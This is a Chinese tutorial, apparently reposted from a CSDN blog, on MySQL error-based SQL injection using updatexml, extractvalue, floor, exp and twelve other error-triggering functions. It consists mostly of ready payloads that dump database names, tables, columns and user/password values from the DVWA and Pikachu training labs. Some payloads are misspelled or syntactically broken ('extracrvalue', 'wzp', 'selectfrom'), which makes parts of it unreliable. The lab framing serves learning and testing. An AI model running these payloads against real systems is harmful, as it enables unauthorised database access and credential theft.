網(wǎng)站首頁(yè) 編程語(yǔ)言 正文
前言
報(bào)錯(cuò)注入的前提是當(dāng)語(yǔ)句發(fā)生錯(cuò)誤時(shí),錯(cuò)誤信息被輸出到前端。其漏洞原因是由于開(kāi)發(fā)人員在開(kāi)發(fā)程序時(shí)使用了print_r (),mysql_error(),mysqli_connect_error()函數(shù)將mysql錯(cuò)誤信息輸出到前端,因此可以通過(guò)閉合原先的語(yǔ)句,去執(zhí)行后面的語(yǔ)句。
常用報(bào)錯(cuò)函數(shù)
updatexml() ? ? ? ? 是mysql對(duì)xml文檔數(shù)據(jù)進(jìn)行查詢和修改的xpath函數(shù)
extractvalue() ? ? ?是mysql對(duì)xml文檔數(shù)據(jù)進(jìn)行查詢的xpath函數(shù)
floor() ? ? ? ? ? ? mysql中用來(lái)取整的函數(shù)
exp() ? ? ? ? ? ? ? 此函數(shù)返回e(自然對(duì)數(shù)的底)指數(shù)X的冪值
用法詳解
updatexml()函數(shù)
updatexml()函數(shù)的作用就是改變(查找并替換)xml文檔中符合條件的節(jié)點(diǎn)的值
語(yǔ)法:updatexml(xml_document,XPthstring,new_value)
第一個(gè)參數(shù)是字符串string(XML文檔對(duì)象的名稱)
第二個(gè)參數(shù)是指定字符串中的一個(gè)位置(Xpath格式的字符串)
第三個(gè)參數(shù)是將要替換成什么,string格式
Xpath定位必須是有效的,否則則會(huì)發(fā)生錯(cuò)誤。我們就能利用這個(gè)特性爆出我們想要的數(shù)據(jù)
實(shí)例
注冊(cè)就是往數(shù)據(jù)庫(kù)里添加數(shù)據(jù),insert。
在用戶處輸入單引號(hào) 報(bào)錯(cuò)
猜測(cè)后端語(yǔ)句
insert into user(name,password,sex,phone,address1,address2) value('xxx',123,1,2,3,4)
可以在xxx處對(duì)單引號(hào)閉合,爆出我們想要的數(shù)據(jù)
?id=1' or updatexml(0,concat(0x7e,select database()),1)'
閉合單引號(hào)使語(yǔ)句逃逸出來(lái),之后重新構(gòu)造語(yǔ)句查詢,爆破出庫(kù)名為:"pikachu"
分析過(guò)程
當(dāng)輸入payload
?id=1' or updatexml(0,concat(0x7e,select database()),1)or'
后端會(huì)被拼接為
insert into user(name,password,sex,phone,address1,address2) value('' or updatexml(1,concat(0x7e,database()),0) or '',
表名列名字段和正常查詢一樣只是換了個(gè)位置
利用過(guò)程
庫(kù)名
1'and updatexml(1,concat(0x7e,database(),0x7e,user(),0x7e,@@datadir),1)#
表名
1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) #
查表信息(假定有一個(gè)users表,庫(kù)名為dvwa
1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users'),0x7e),1) #
查字段值(假設(shè)字段名為last_name(dvwa.users意思為調(diào)用dvwa庫(kù)的users表)
1' and updatexml(1,concat(0x7e,(select group_concat(first_name,0x7e,last_name) from dvwa.users)),1) #
extractvalue()函數(shù)
extractvalue()函數(shù)的作用是從目標(biāo)xml中返回包含所查詢值的字符串
extractvalue (XML_document, XPath_string);
第一個(gè)參數(shù):XML_document是String格式,為XML文檔對(duì)象的名稱,文中為doc
第二個(gè)參數(shù):XPath_string(Xpath格式的字符串),Xpath定位必須是有效的,否則會(huì)發(fā)生錯(cuò)誤
構(gòu)造payload
?id=1' or extracrvalue(0,concat(0x7e,database())) or '
注意xpath回顯只有一位使用limit函數(shù)逐個(gè)爆,且最長(zhǎng)為32位,超過(guò)32位爆不了
利用過(guò)程
當(dāng)前庫(kù)
1' and extractvalue(1,concat(0x7e,user(),0x7e,database())) #
當(dāng)前表
1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) #
表信息(假設(shè)表為users
1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))) #
字段值(字段為user_id,first_name,last_name,(dvwa.users意思為調(diào)用dvwa庫(kù)的users表)
1' and extractvalue(1,concat(0x7e,(select group_concat(user_id,0x7e,first_name,0x3a,last_name) from dvwa.users))) #
floor()函數(shù)
floor()是mysql的一個(gè)取整函數(shù)
庫(kù)名
id=1' union select count(*),concat(floor(rand(0)*2),database()) x from information_schema.schemata group by x #
表名(庫(kù)為dvwa,通過(guò)修改 limit 0,1值遞增查表, limit 1,1、limit 2,1
id=1' union select count(*),concat(floor(rand(0)*2),0x3a,(select concat(table_name) from information_schema.tables where table_schema='dvwa' limit 0,1)) x from information_schema.schemata group by x#
字段名(庫(kù):dvwa,表:users
id=1' union select count(*),concat(floor(rand(0)*2),0x3a,(select concat(column_name) from information_schema.columns where table_name='users' and table_schema='dvwa' limit 0,1)) x from information_schema.schemata group by x#
字段值(字段值:user,password(dvwa.users意思為調(diào)用dvwa庫(kù)users表
id=1' union select count(*),concat(floor(rand(0)*2),0x3a,(select concat(user,0x3a,password) from dvwa.users limit 0,1)) x from information_schema.schemata group by x#
exp()函數(shù)
當(dāng)傳遞一個(gè)大于709的值時(shí),函數(shù)exp()就會(huì)引起一個(gè)溢出錯(cuò)誤。
庫(kù)名
id=1' or exp(~(SELECT * from(select database())a)) or '
表名(庫(kù)名:pikachu
id=1' or exp(~(select * from(select group_concat(table_name) from information_schema.tables where table_schema = 'pikachu')a)) or '
字段名(表名:users
id=1' or exp(~(select * from(select group_concat(column_name) from information_schema.columns where table_name = 'users')a)) or '
字段值(字段名:password,表名:users
id=1' or wzp(~(select * from(select password from users limit 0,1)a)) or '
12種報(bào)錯(cuò)注入函數(shù)
1、通過(guò)floor報(bào)錯(cuò),注入語(yǔ)句如下:
and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
2、通過(guò)extractvalue報(bào)錯(cuò),注入語(yǔ)句如下:
and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
3、通過(guò)updatexml報(bào)錯(cuò),注入語(yǔ)句如下:
and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
4、通過(guò)exp報(bào)錯(cuò),注入語(yǔ)句如下:
and exp(~(select * from (select user () ) a) );
5、通過(guò)join報(bào)錯(cuò),注入語(yǔ)句如下:
select * from(select * from mysql.user ajoin mysql.user b)c;
6、通過(guò)NAME_CONST報(bào)錯(cuò),注入語(yǔ)句如下:
and exists(selectfrom (selectfrom(selectname_const(@@version,0))a join (select name_const(@@version,0))b)c);
7、通過(guò)GeometryCollection()報(bào)錯(cuò),注入語(yǔ)句如下:
and GeometryCollection(()select *from(select user () )a)b );
8、通過(guò)polygon ()報(bào)錯(cuò),注入語(yǔ)句如下:
and polygon (()select * from(select user ())a)b );
9、通過(guò)multipoint ()報(bào)錯(cuò),注入語(yǔ)句如下:
and multipoint (()select * from(select user() )a)b );
10、通過(guò)multlinestring ()報(bào)錯(cuò),注入語(yǔ)句如下:
and multlinestring (()select * from(selectuser () )a)b );
11、通過(guò)multpolygon ()報(bào)錯(cuò),注入語(yǔ)句如下:
and multpolygon (()select * from(selectuser () )a)b );
12、通過(guò)linestring ()報(bào)錯(cuò),注入語(yǔ)句如下:
and linestring (()select * from(select user() )a)b );
總結(jié)
原文鏈接:https://blog.csdn.net/qq_45677784/article/details/123512210
相關(guān)推薦
- 2023-07-30 vscode自定義用戶代碼片段
- 2022-04-30 C#繪制實(shí)時(shí)曲線圖的方法詳解_C#教程
- 2022-12-14 Android?MaterialAlertDialogBuilder修改按鈕屬性_Android
- 2022-11-27 深入了解Linux的文件權(quán)限_linux shell
- 2022-04-25 Entity?Framework?Core實(shí)現(xiàn)軟刪除與查詢過(guò)濾器_實(shí)用技巧
- 2022-04-12 網(wǎng)絡(luò)編程——Http請(qǐng)求方式Get與Post
- 2023-07-25 BigDecimal詳解
- 2022-07-17 SQL?Server中使用表變量和臨時(shí)表_MsSql
- 最近更新
-
- window11 系統(tǒng)安裝 yarn
- 超詳細(xì)win安裝深度學(xué)習(xí)環(huán)境2025年最新版(
- Linux 中運(yùn)行的top命令 怎么退出?
- MySQL 中decimal 的用法? 存儲(chǔ)小
- get 、set 、toString 方法的使
- @Resource和 @Autowired注解
- Java基礎(chǔ)操作-- 運(yùn)算符,流程控制 Flo
- 1. Int 和Integer 的區(qū)別,Jav
- spring @retryable不生效的一種
- Spring Security之認(rèn)證信息的處理
- Spring Security之認(rèn)證過(guò)濾器
- Spring Security概述快速入門(mén)
- Spring Security之配置體系
- 【SpringBoot】SpringCache
- Spring Security之基于方法配置權(quán)
- redisson分布式鎖中waittime的設(shè)
- maven:解決release錯(cuò)誤:Artif
- restTemplate使用總結(jié)
- Spring Security之安全異常處理
- MybatisPlus優(yōu)雅實(shí)現(xiàn)加密?
- Spring ioc容器與Bean的生命周期。
- 【探索SpringCloud】服務(wù)發(fā)現(xiàn)-Nac
- Spring Security之基于HttpR
- Redis 底層數(shù)據(jù)結(jié)構(gòu)-簡(jiǎn)單動(dòng)態(tài)字符串(SD
- arthas操作spring被代理目標(biāo)對(duì)象命令
- Spring中的單例模式應(yīng)用詳解
- 聊聊消息隊(duì)列,發(fā)送消息的4種方式
- bootspring第三方資源配置管理
- GIT同步修改后的遠(yuǎn)程分支